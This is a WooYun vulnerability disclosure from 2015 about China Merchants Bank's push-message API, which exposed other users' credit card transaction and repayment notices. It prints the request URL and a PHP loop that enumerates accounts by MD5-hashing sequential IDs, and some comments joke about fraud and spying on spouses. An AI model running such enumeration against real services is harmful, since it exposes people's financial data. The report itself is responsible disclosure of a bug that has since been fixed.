当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092892

漏洞标题:招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)

相关厂商:招商银行

漏洞作者: 牛奶坦克

提交时间:2015-01-20 14:51

修复时间:2015-03-06 14:52

公开时间:2015-03-06 14:52

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-20: 细节已通知厂商并且等待厂商处理中
2015-01-21: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向核心白帽子及相关领域专家公开
2015-02-10: 细节向普通白帽子公开
2015-02-20: 细节向实习白帽子公开
2015-03-06: 细节向公众公开

简要描述:

招商银行设计缺陷可以查询其他用户信用卡消费&还款记录(附测试代码)。其实我也怀疑银行这样设计是不认为这些数据就是影响不大的呢,带着这个疑问提交给厂商验证吧。
PS:乌云算法升级了,核心掉了 - - #

详细说明:

一直使用招行的信用卡客户端,有个疑问一直纠结着我,就是每次不用我帐号密码登录就能给我推送消费和还款信息,多年经验告诉我这里没问题就怪了。。但这样的通知放在认证外,是否也说明这种信息没啥影响呢?想在乌云求个答案,了了心思。

0.jpg


数据包是这样的,如图

2.jpg


文本如下

http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=1233e1af18894e0b3e0a79c37771b5ee&_uid=202cb962ac59075b964b07152d234b70&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100
page=1&category=


通过分析发现,这么多参数其实都是用来做个统计,真正有效的其实是 _accountId 这个参数,但这个参数是个hash啊。没关系解密看一下发现是个数字,应该是用户ID吧。

1.jpg


数字随便加几个,减几个然后再次md5看看结果呢。

漏洞证明:

给出一段证明代码,用来“遍历”信息,为了防止他人利用,curlsend函数定义不放出

for ($i=0; $i < 9 ; $i++) { 	//Demo,仅遍历10个ID
$userid = md5("011990180".$i);
$url = "http://mlife.cmbchina.com/PlutoPushProxy/queryMessageFromClient.json?_ver=4.2.0&_requuid=EC92A073-39E9-0467-4C2D-59479A237C88&_pla=cmblife_iphone_4.2.0_&_pro=0&_appId=202cb962ac59075b964b07152d234b70&_r=YES&_iv=24&_accountId=$userid&_uid=267536746a28e3b3b92428120f84c376&DeviceID=202cb962ac59075b964b07152d234b70&appId=202cb962ac59075b964b07152d234b70&_ss=888*888&_mt=iphone100";
$res = json_decode(curlsend($url,1,1,'page=1&category='));
if (count($res->messages) > 0) {
echo "User : 011990180".$i." $userid => exists ! \r\n";
}
}


10个ID内有3个存在

res.png


分别请求一下

1.png


2.png


3.png


已经可以了吧,结贴。
PS:对了 page=1&category= 里面page参数应该是可以翻页的,不测了。

修复方案:

那个ID在服务端加个salt吧,可以解密出来就代表可以伪造了。
另外其他那几个花花绿绿的id也没起到什么验证做用,要不加个签名也防止篡改?

版权声明:转载请注明来源 牛奶坦克@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-01-21 09:51

厂商回复:

感谢对招行安全的关注。

最新状态:

2015-01-21:漏洞已修复


漏洞评价:

评论

  1. 2015-01-20 14:52 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    曹,我的就是招行

  2. 2015-01-20 14:56 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:207 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    曹,我的只是农村信用合作社

  3. 2015-01-20 15:03 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:10 | 猜猜我是谁?)

    招行+1快查查剑心的记录

  4. 2015-01-20 15:03 | 李旭敏 ( 普通白帽子 | Rank:469 漏洞数:54 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

    这个····用来诈骗还是有点用处的

  5. 2015-01-20 15:38 | 帅气小狼狗 ( 路人 | Rank:8 漏洞数:2 | 汪汪汪)

    @毕月乌 小毕

  6. 2015-01-20 16:05 | 浩天 认证白帽子 ( 普通白帽子 | Rank:915 漏洞数:79 | 度假中...)

    @毕月乌 老毕

  7. 2015-01-20 16:16 | 帅气小狼狗 ( 路人 | Rank:8 漏洞数:2 | 汪汪汪)

    @毕月乌 毕毕

  8. 2015-01-20 17:21 | 浮萍 ( 普通白帽子 | Rank:555 漏洞数:87 | 默默潜水)

    不是每一杯牛奶

  9. 2015-01-20 17:32 | 爱Gail ( 普通白帽子 | Rank:237 漏洞数:38 | 爱漏洞、爱编程、爱旅游、爱Gail)

    老婆查老公的利器,赶紧补上

  10. 2015-01-20 17:50 | Matt 认证白帽子 ( 普通白帽子 | Rank:523 漏洞数:107 | 承接代码审计 http://codescan.cn/)

    草 ,能提高额度不。几年了 就5000块。

  11. 2015-01-20 20:37 | he1renyagao ( 普通白帽子 | Rank:225 漏洞数:29 | 是金子总会发光,在还未发光之前,先打磨打...)

    银行专场的开始啊

  12. 2015-01-20 20:55 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:78 | ★ 梦想这条路踏上了,跪着也要...)

    @猪猪侠 广州的不是广州农村商业银行么?

  13. 2015-01-20 21:21 | 呆呆 ( 路人 | 还没有发布任何漏洞 | 小小白)

    招商+1啊,牛的一B

  14. 2015-01-20 22:21 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:148 | 123)

    @xsser @猪猪侠 是cookie的问题,修改即可

  15. 2015-01-21 09:42 | Teufel ( 实习白帽子 | Rank:80 漏洞数:12 | 广告位招租)

    恩恩这个不错,那个大牛看完发发善心给帮忙把信用卡还了吧O(∩_∩)O

  16. 2015-01-21 10:47 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:10 | 猜猜我是谁?)

    @帅气小狼狗 你妹的

  17. 2015-01-21 11:35 | 帅气小狼狗 ( 路人 | Rank:8 漏洞数:2 | 汪汪汪)

    @毕月乌 妹夫,哥理解你。

  18. 2015-01-21 12:46 | 牛奶坦克 ( 普通白帽子 | Rank:355 漏洞数:20 | 晚安,牛奶)

    @招商银行 招行靠谱,这个问题我个人也觉得影响不是特别的严重,但心存顾虑,还是提交给企业解决这个问题。